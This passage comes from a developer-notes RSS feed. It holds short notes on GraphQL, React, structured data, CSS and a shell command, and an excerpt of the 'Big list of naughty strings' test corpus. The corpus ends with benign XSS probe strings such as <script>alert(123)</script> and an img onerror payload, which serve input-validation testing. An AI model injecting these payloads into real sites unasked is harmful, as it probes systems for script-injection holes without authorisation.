&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;parent&lt;/code&gt;: An object that contains the result returned from the resolver on the parent type&lt;/li&gt;
&lt;li&gt;&lt;code&gt;args&lt;/code&gt;: An object that contains the arguments passed to the field&lt;/li&gt;
&lt;li&gt;&lt;code&gt;context&lt;/code&gt;: An object shared by all resolvers in a GraphQL operation. We use the context to contain per-request state such as authentication information and access our data sources.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;info&lt;/code&gt;: Information about the execution state of the operation which should only be used in advanced cases&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>graphql</category><author>Zander Martineau</author></item><item><title>Better mobile form inputs</title><link>https://zander.wtf/notes/better-mobile-form-inputs/</link><guid isPermaLink="true">https://zander.wtf/notes/better-mobile-form-inputs/</guid><description>This web-app makes it easy to know which form input we should use.</description><pubDate>Tue, 23 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This web-app makes it easy to know which form input we should use.&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe
src=&quot;https://better-mobile-inputs.netlify.app&quot;
style=&quot;width: 100%; height: 800px; border: 0;&quot;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><category>html</category><author>Zander Martineau</author></item><item><title>Client-only React</title><link>https://zander.wtf/notes/react-client-only/</link><guid isPermaLink="true">https://zander.wtf/notes/react-client-only/</guid><description>A client-only wrapper component Use like so: or you could use a hook: Which could be used like so:</description><pubDate>Thu, 11 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;A client-only wrapper component&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;export const ClientOnly = ({ children, ...delegated }) =&amp;gt; {
  const [hasMounted, setHasMounted] = React.useState(false)
  React.useEffect(() =&amp;gt; {
    setHasMounted(true)
  }, [])
  if (!hasMounted) {
    return null
  }
  return &amp;lt;div {...delegated}&amp;gt;{children}&amp;lt;/div&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;ClientOnly&amp;gt;
  &amp;lt;Navigation /&amp;gt;
&amp;lt;/ClientOnly&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or you could use a hook:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export const useHasMounted = () =&amp;gt; {
  const [hasMounted, setHasMounted] = React.useState(false)
  React.useEffect(() =&amp;gt; {
    setHasMounted(true)
  }, [])
  return hasMounted
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which could be used like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Navigation() {
  const hasMounted = useHasMounted()
  if (!hasMounted) {
    return null
  }

  const user = getUser()

  if (user) {
    return &amp;lt;AuthenticatedNav user={user} /&amp;gt;
  }

  return (
    &amp;lt;nav&amp;gt;
      &amp;lt;a href=&quot;/login&quot;&amp;gt;Login&amp;lt;/a&amp;gt;
    &amp;lt;/nav&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>Schema.org structured data</title><link>https://zander.wtf/notes/structured-data/</link><guid isPermaLink="true">https://zander.wtf/notes/structured-data/</guid><description>JSON-LD Article https://developers.google.com/search/docs/data-types/article Product https://developers.google.com/search/docs/data-types/product</description><pubDate>Thu, 04 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;JSON-LD&lt;/h2&gt;
&lt;h3&gt;Article&lt;/h3&gt;
&lt;p&gt;https://developers.google.com/search/docs/data-types/article&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;application/ld+json&quot;&amp;gt;
  {
    &quot;@context&quot;: &quot;https://schema.org&quot;,
    &quot;@type&quot;: &quot;NewsArticle&quot;,
    &quot;mainEntityOfPage&quot;: {
      &quot;@type&quot;: &quot;WebPage&quot;,
      &quot;@id&quot;: &quot;https://google.com/article&quot;
    },
    &quot;headline&quot;: &quot;Article headline&quot;,
    &quot;image&quot;: [
      &quot;https://example.com/photos/1x1/photo.jpg&quot;,
      &quot;https://example.com/photos/4x3/photo.jpg&quot;,
      &quot;https://example.com/photos/16x9/photo.jpg&quot;
    ],
    &quot;datePublished&quot;: &quot;2015-02-05T08:00:00+08:00&quot;,
    &quot;dateModified&quot;: &quot;2015-02-05T09:20:00+08:00&quot;,
    &quot;author&quot;: {
      &quot;@type&quot;: &quot;Person&quot;,
      &quot;name&quot;: &quot;John Doe&quot;
    },
    &quot;publisher&quot;: {
      &quot;@type&quot;: &quot;Organization&quot;,
      &quot;name&quot;: &quot;Google&quot;,
      &quot;logo&quot;: {
        &quot;@type&quot;: &quot;ImageObject&quot;,
        &quot;url&quot;: &quot;https://google.com/logo.jpg&quot;
      }
    }
  }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Product&lt;/h3&gt;
&lt;p&gt;https://developers.google.com/search/docs/data-types/product&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;application/ld+json&quot;&amp;gt;
  {
    &quot;@context&quot;: &quot;https://schema.org/&quot;,
    &quot;@type&quot;: &quot;Product&quot;,
    &quot;name&quot;: &quot;Executive Anvil&quot;,
    &quot;image&quot;: [
      &quot;https://example.com/photos/1x1/photo.jpg&quot;,
      &quot;https://example.com/photos/4x3/photo.jpg&quot;,
      &quot;https://example.com/photos/16x9/photo.jpg&quot;
    ],
    &quot;description&quot;: &quot;Sleeker than ACME&apos;s Classic Anvil, the Executive Anvil is perfect for the business traveler looking for something to drop from a height.&quot;,
    &quot;sku&quot;: &quot;0446310786&quot;,
    &quot;mpn&quot;: &quot;925872&quot;,
    &quot;brand&quot;: {
      &quot;@type&quot;: &quot;Brand&quot;,
      &quot;name&quot;: &quot;ACME&quot;
    },
    &quot;review&quot;: {
      &quot;@type&quot;: &quot;Review&quot;,
      &quot;reviewRating&quot;: {
        &quot;@type&quot;: &quot;Rating&quot;,
        &quot;ratingValue&quot;: &quot;4&quot;,
        &quot;bestRating&quot;: &quot;5&quot;
      },
      &quot;author&quot;: {
        &quot;@type&quot;: &quot;Person&quot;,
        &quot;name&quot;: &quot;Fred Benson&quot;
      }
    },
    &quot;aggregateRating&quot;: {
      &quot;@type&quot;: &quot;AggregateRating&quot;,
      &quot;ratingValue&quot;: &quot;4.4&quot;,
      &quot;reviewCount&quot;: &quot;89&quot;
    },
    &quot;offers&quot;: {
      &quot;@type&quot;: &quot;Offer&quot;,
      &quot;url&quot;: &quot;https://example.com/anvil&quot;,
      &quot;priceCurrency&quot;: &quot;USD&quot;,
      &quot;price&quot;: &quot;119.99&quot;,
      &quot;priceValidUntil&quot;: &quot;2020-11-20&quot;,
      &quot;itemCondition&quot;: &quot;https://schema.org/UsedCondition&quot;,
      &quot;availability&quot;: &quot;https://schema.org/InStock&quot;,
      &quot;seller&quot;: {
        &quot;@type&quot;: &quot;Organization&quot;,
        &quot;name&quot;: &quot;Executive Objects&quot;
      }
    }
  }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Get file size for all files in directory</title><link>https://zander.wtf/notes/file-size-of-files-in-directory/</link><guid isPermaLink="true">https://zander.wtf/notes/file-size-of-files-in-directory/</guid><pubDate>Wed, 27 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;du -sh * | sort -hr
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>cli</category><author>Zander Martineau</author></item><item><title>Async load CSS</title><link>https://zander.wtf/notes/async-load-css/</link><guid isPermaLink="true">https://zander.wtf/notes/async-load-css/</guid><pubDate>Wed, 20 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;preload&quot; href=&quot;/path/to/my.css&quot; as=&quot;style&quot; /&amp;gt;
&amp;lt;link
  rel=&quot;stylesheet&quot;
  href=&quot;/path/to/my.css&quot;
  media=&quot;print&quot;
  onload=&quot;this.media=&apos;all&apos;&quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Rainbow links</title><link>https://zander.wtf/notes/css-rainbow-links/</link><guid isPermaLink="true">https://zander.wtf/notes/css-rainbow-links/</guid><description>This is a rainbow link With object-styles:</description><pubDate>Tue, 19 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;.rainbow {
  background-image: linear-gradient(
    90deg,
    rgba(251, 89, 74, 1) 0%,
    rgba(251, 222, 75, 1) 25%,
    rgba(112, 228, 112, 1) 50%,
    rgba(51, 183, 255, 1) 75%
  );
  -webkit-background-clip: text;
  -webkit-text-fill-color: rgba(255, 255, 255, 0.46);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;a
style={{
backgroundImage: &lt;code&gt;linear-gradient(     90deg,     rgba(251, 89, 74, 1) 0%,     rgba(251, 222, 75, 1) 25%,     rgba(112, 228, 112, 1) 50%,     rgba(51, 183, 255, 1) 75%   )&lt;/code&gt;,
WebkitBackgroundClip: &apos;text&apos;,
WebkitTextFillColor: &apos;rgba(255, 255, 255, 0.46)&apos;,
}}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is a rainbow link
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;With object-styles:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a
  style={{
    backgroundImage: `linear-gradient(
    90deg,
    rgba(251, 89, 74, 1) 0%,
    rgba(251, 222, 75, 1) 25%,
    rgba(112, 228, 112, 1) 50%,
    rgba(51, 183, 255, 1) 75%
  )`,
    WebkitBackgroundClip: &apos;text&apos;,
    WebkitTextFillColor: &apos;rgba(255, 255, 255, 0.46)&apos;,
  }}
&amp;gt;
  This is a rainbow link
&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Styling siblings on hover</title><link>https://zander.wtf/notes/css-style-siblings-hover/</link><guid isPermaLink="true">https://zander.wtf/notes/css-style-siblings-hover/</guid><description>Use the :not CSS selector to stylize siblings on hover. Normally, you would need JavaScript to stylize all the siblings of an element you&apos;re interacting…</description><pubDate>Tue, 19 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Use the :not CSS selector to stylize siblings on hover.&lt;/p&gt;
&lt;p&gt;Normally, you would need JavaScript to stylize all the siblings of an element you&apos;re interacting with. But wait! There&apos;s a cool method based 100% on CSS.&lt;/p&gt;
&lt;p&gt;The idea, in short, is to target the :hover of the parent, then target all the children except the one you&apos;re hovering over.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.parent:hover .child:not(:hover) {
  /* this style affects all the children except the one you&apos;re hovering over */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;codepen&quot; data-height=&quot;265&quot; data-theme-id=&quot;light&quot; data-default-tab=&quot;result&quot; data-user=&quot;codyhouse&quot; data-slug-hash=&quot;KKdrmXj&quot; style=&quot;height: 265px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-pen-title=&quot;CSS Nugget: Styling siblings on hover&quot;&amp;gt;
&amp;lt;span&amp;gt;See the Pen &amp;lt;a href=&quot;https://codepen.io/codyhouse/pen/KKdrmXj&quot;&amp;gt;
CSS Nugget: Styling siblings on hover&amp;lt;/a&amp;gt; by CodyHouse (&amp;lt;a href=&quot;https://codepen.io/codyhouse&quot;&amp;gt;@codyhouse&amp;lt;/a&amp;gt;)
on &amp;lt;a href=&quot;https://codepen.io&quot;&amp;gt;CodePen&amp;lt;/a&amp;gt;.&amp;lt;/span&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;script async src=&quot;https://static.codepen.io/assets/embed/ei.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Big list of naughty strings</title><link>https://zander.wtf/notes/big-list-naughty-strings/</link><guid isPermaLink="true">https://zander.wtf/notes/big-list-naughty-strings/</guid><pubDate>Mon, 11 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;# Reserved Strings
#
# Strings which may be used elsewhere in code

undefined
undef
null
NULL
(null)
nil
NIL
true
false
True
False
TRUE
FALSE
None
hasOwnProperty
then
constructor
\
\\

# Numeric Strings
#
# Strings which can be interpreted as numeric

0
1
1.00
$1.00
1/2
1E2
1E02
1E+02
-1
-1.00
-$1.00
-1/2
-1E2
-1E02
-1E+02
1/0
0/0
-2147483648/-1
-9223372036854775808/-1
-0
-0.0
+0
+0.0
0.00
0..0
.
0.0.0
0,00
0,,0
,
0,0,0
0.0/0
1.0/0.0
0.0/0.0
1,0/0,0
0,0/0,0
--1
-
-.
-,
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
NaN
Infinity
-Infinity
INF
1#INF
-1#IND
1#QNAN
1#SNAN
1#IND
0x0
0xffffffff
0xffffffffffffffff
0xabad1dea
123456789012345678901234567890123456789
1,000.00
1 000.00
1&apos;000.00
1,000,000.00
1 000 000.00
1&apos;000&apos;000.00
1.000,00
1 000,00
1&apos;000,00
1.000.000,00
1 000 000,00
1&apos;000&apos;000,00
01000
08
09
2.2250738585072011e-308

# Special Characters
#
# ASCII punctuation.  All of these characters may need to be escaped in some
# contexts.  Divided into three groups based on (US-layout) keyboard position.

,./;&apos;[]\-=
&amp;lt;&amp;gt;?:&quot;{}|_+
!@#$%^&amp;amp;*()`~

# Non-whitespace C0 controls: U+0001 through U+0008, U+000E through U+001F,
# and U+007F (DEL)
# Often forbidden to appear in various text-based file formats (e.g. XML),
# or reused for internal delimiters on the theory that they should never
# appear in input.
# The next line may appear to be blank or mojibake in some viewers.


# Non-whitespace C1 controls: U+0080 through U+0084 and U+0086 through U+009F.
# Commonly misinterpreted as additional graphic characters.
# The next line may appear to be blank, mojibake, or dingbats in some viewers.


# Whitespace: all of the characters with category Zs, Zl, or Zp (in Unicode
# version 8.0.0), plus U+0009 (HT), U+000B (VT), U+000C (FF), U+0085 (NEL),
# and U+200B (ZERO WIDTH SPACE), which are in the C categories but are often
# treated as whitespace in some contexts.
# This file unfortunately cannot express strings containing
# U+0000, U+000A, or U+000D (NUL, LF, CR).
# The next line may appear to be blank or mojibake in some viewers.
# The next line may be flagged for &quot;trailing whitespace&quot; in some viewers.
               ​    　

# Unicode additional control characters: all of the characters with
# general category Cf (in Unicode 8.0.0).
# The next line may appear to be blank or mojibake in some viewers.
­؀؁؂؃؄؅؜۝܏᠎​‌‍‎‏‪‫‬‭‮⁠⁡⁢⁣⁤⁦⁧⁨⁩⁪⁫⁬⁭⁮⁯﻿￹￺￻𑂽𛲠𛲡𛲢𛲣𝅳𝅴𝅵𝅶𝅷𝅸𝅹𝅺󠀁󠀠󠀡󠀢󠀣󠀤󠀥󠀦󠀧󠀨󠀩󠀪󠀫󠀬󠀭󠀮󠀯󠀰󠀱󠀲󠀳󠀴󠀵󠀶󠀷󠀸󠀹󠀺󠀻󠀼󠀽󠀾󠀿󠁀󠁁󠁂󠁃󠁄󠁅󠁆󠁇󠁈󠁉󠁊󠁋󠁌󠁍󠁎󠁏󠁐󠁑󠁒󠁓󠁔󠁕󠁖󠁗󠁘󠁙󠁚󠁛󠁜󠁝󠁞󠁟󠁠󠁡󠁢󠁣󠁤󠁥󠁦󠁧󠁨󠁩󠁪󠁫󠁬󠁭󠁮󠁯󠁰󠁱󠁲󠁳󠁴󠁵󠁶󠁷󠁸󠁹󠁺󠁻󠁼󠁽󠁾󠁿

# &quot;Byte order marks&quot;, U+FEFF and U+FFFE, each on its own line.
# The next two lines may appear to be blank or mojibake in some viewers.
﻿
￾

# Unicode Symbols
#
# Strings which contain common unicode symbols (e.g. smart quotes)

Ω≈ç√∫˜µ≤≥÷
åß∂ƒ©˙∆˚¬…æ
œ∑´®†¥¨ˆøπ“‘
¡™£¢∞§¶•ªº–≠
¸˛Ç◊ı˜Â¯˘¿
ÅÍÎÏ˝ÓÔÒÚÆ☃
Œ„´‰ˇÁ¨ˆØ∏”’
`⁄€‹›ﬁﬂ‡°·‚—±
⅛⅜⅝⅞
ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя
٠١٢٣٤٥٦٧٨٩

# Unicode Subscript/Superscript/Accents
#
# Strings which contain unicode subscripts/superscripts; can cause rendering issues

⁰⁴⁵
₀₁₂
⁰⁴⁵₀₁₂
ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็

# Quotation Marks
#
# Strings which contain misplaced quotation marks; can cause encoding errors

&apos;
&quot;
&apos;&apos;
&quot;&quot;
&apos;&quot;&apos;
&quot;&apos;&apos;&apos;&apos;&quot;&apos;&quot;
&quot;&apos;&quot;&apos;&quot;&apos;&apos;&apos;&apos;&quot;
&amp;lt;foo val=“bar” /&amp;gt;
&amp;lt;foo val=“bar” /&amp;gt;
&amp;lt;foo val=”bar“ /&amp;gt;
&amp;lt;foo val=`bar&apos; /&amp;gt;

# Two-Byte Characters
#
# Strings which contain two-byte characters: can cause rendering issues or character-length issues

田中さんにあげて下さい
パーティーへ行かないか
和製漢語
部落格
사회과학원 어학연구소
찦차를 타고 온 펲시맨과 쑛다리 똠방각하
社會科學院語學研究所
울란바토르
𠜎𠜱𠝹𠱓𠱸𠲖𠳏

# Strings which contain two-byte letters: can cause issues with naïve UTF-16 capitalizers which think that 16 bits == 1 character

𐐜 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐙𐐊𐐡𐐝𐐓/𐐝𐐇𐐗𐐊𐐤𐐔 𐐒𐐋𐐗 𐐒𐐌 𐐜 𐐡𐐀𐐖𐐇𐐤𐐓𐐝 𐐱𐑂 𐑄 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐏𐐆𐐅𐐤𐐆𐐚𐐊𐐡𐐝𐐆𐐓𐐆

# Special Unicode Characters Union
#
# A super string recommended by VMware Inc. Globalization Team: can effectively cause rendering issues or character-length issues to validate product globalization readiness.
#
# 表          CJK_UNIFIED_IDEOGRAPHS (U+8868)
# ポ          KATAKANA LETTER PO (U+30DD)
# あ          HIRAGANA LETTER A (U+3042)
# A           LATIN CAPITAL LETTER A (U+0041)
# 鷗          CJK_UNIFIED_IDEOGRAPHS (U+9DD7)
# Œ           LATIN SMALL LIGATURE OE (U+0153)
# é           LATIN SMALL LETTER E WITH ACUTE (U+00E9)
# Ｂ           FULLWIDTH LATIN CAPITAL LETTER B (U+FF22)
# 逍          CJK_UNIFIED_IDEOGRAPHS (U+900D)
# Ü           LATIN SMALL LETTER U WITH DIAERESIS (U+00FC)
# ß           LATIN SMALL LETTER SHARP S (U+00DF)
# ª           FEMININE ORDINAL INDICATOR (U+00AA)
# ą           LATIN SMALL LETTER A WITH OGONEK (U+0105)
# ñ           LATIN SMALL LETTER N WITH TILDE (U+00F1)
# 丂          CJK_UNIFIED_IDEOGRAPHS (U+4E02)
# 㐀          CJK Ideograph Extension A, First (U+3400)
# 𠀀          CJK Ideograph Extension B, First (U+20000)

表ポあA鷗ŒéＢ逍Üßªąñ丂㐀𠀀

# Changing length when lowercased
#
# Characters which increase in length (2 to 3 bytes) when lowercased
# Credit: https://twitter.com/jifa/status/625776454479970304

Ⱥ
Ⱦ

# Japanese Emoticons
#
# Strings which consists of Japanese-style emoticons which are popular on the web

ヽ༼ຈل͜ຈ༽ﾉ ヽ༼ຈل͜ຈ༽ﾉ
(｡◕ ∀ ◕｡)
｀ｨ(´∀｀∩
__ﾛ(,_,*)
・(￣∀￣)・:*:
ﾟ･✿ヾ╲(｡◕‿◕｡)╱✿･ﾟ
,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’
(╯°□°）╯︵ ┻━┻)
(ﾉಥ益ಥ）ﾉ﻿ ┻━┻
┬─┬ノ( º _ ºノ)
( ͡° ͜ʖ ͡°)
¯\_(ツ)_/¯

# Emoji
#
# Strings which contain Emoji; should be the same behavior as two-byte characters, but not always

😍
👩🏽
👨‍🦰 👨🏿‍🦰 👨‍🦱 👨🏿‍🦱 🦹🏿‍♂️
👾 🙇 💁 🙅 🙆 🙋 🙎 🙍
🐵 🙈 🙉 🙊
❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙
✋🏿 💪🏿 👐🏿 🙌🏿 👏🏿 🙏🏿
🚾 🆒 🆓 🆕 🆖 🆗 🆙 🏧
0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟

#       Regional Indicator Symbols
#
#       Regional Indicator Symbols can be displayed differently across
#       fonts, and have a number of special behaviors

🇺🇸🇷🇺🇸 🇦🇫🇦🇲🇸
🇺🇸🇷🇺🇸🇦🇫🇦🇲
🇺🇸🇷🇺🇸🇦

# Unicode Numbers
#
# Strings which contain unicode numbers; if the code is localized, it should see the input as numeric

１２３
١٢٣

# Right-To-Left Strings
#
# Strings which contain text that should be rendered RTL if possible (e.g. Arabic, Hebrew)

ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.
בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ
הָיְתָהtestالصفحات التّحول
﷽
ﷺ
مُنَاقَشَةُ سُبُلِ اِسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيم يَخُصَّ التَّطْبِيقَاتُ الْحاسُوبِيَّةُ،
الكل في المجمو عة (5)

# Ogham Text
#
# The only unicode alphabet to use a space which isn&apos;t empty but should still act like a space.

᚛ᚄᚓᚐᚋᚒᚄ ᚑᚄᚂᚑᚏᚅ᚜
᚛                 ᚜

# Trick Unicode
#
# Strings which contain unicode with unusual properties (e.g. Right-to-left override) (c.f. http://www.unicode.org/charts/PDF/U2000.pdf)

‪‪test‪
‫test‫
 test 
test⁠test‫
⁦test⁧

# Zalgo Text
#
# Strings which contain &quot;corrupted&quot; text. The corruption will not appear in non-HTML text, however. (via http://www.eeemo.net)

Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣
̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰
̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟
̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕
Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮

# Unicode Upsidedown
#
# Strings which contain unicode with an &quot;upsidedown&quot; effect (via http://www.upsidedowntext.com)

˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs &apos;ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ &apos;ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥
00˙Ɩ$-

# Unicode font
#
# Strings which contain bold/italic/etc. versions of normal characters

Ｔｈｅ ｑｕｉｃｋ ｂｒｏｗｎ ｆｏｘ ｊｕｍｐｓ ｏｖｅｒ ｔｈｅ ｌａｚｙ ｄｏｇ
𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠
𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌
𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈
𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰
𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘
𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐
⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢

# Script Injection
#
# Strings which attempt to invoke a benign script injection; shows vulnerability to XSS

&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;
&amp;amp;lt;script&amp;amp;gt;alert(&amp;amp;#39;123&amp;amp;#39;);&amp;amp;lt;/script&amp;amp;gt;
&amp;lt;img src=x onerror=alert(123) /&amp;gt;
&amp;lt;svg&amp;gt;&amp;lt;script&amp;gt;123&amp;lt;1&amp;gt;alert(123)&amp;lt;/script&amp;gt;
&quot;&amp;gt;&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;
&apos;&amp;gt;&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;
&amp;gt;&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;
&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;
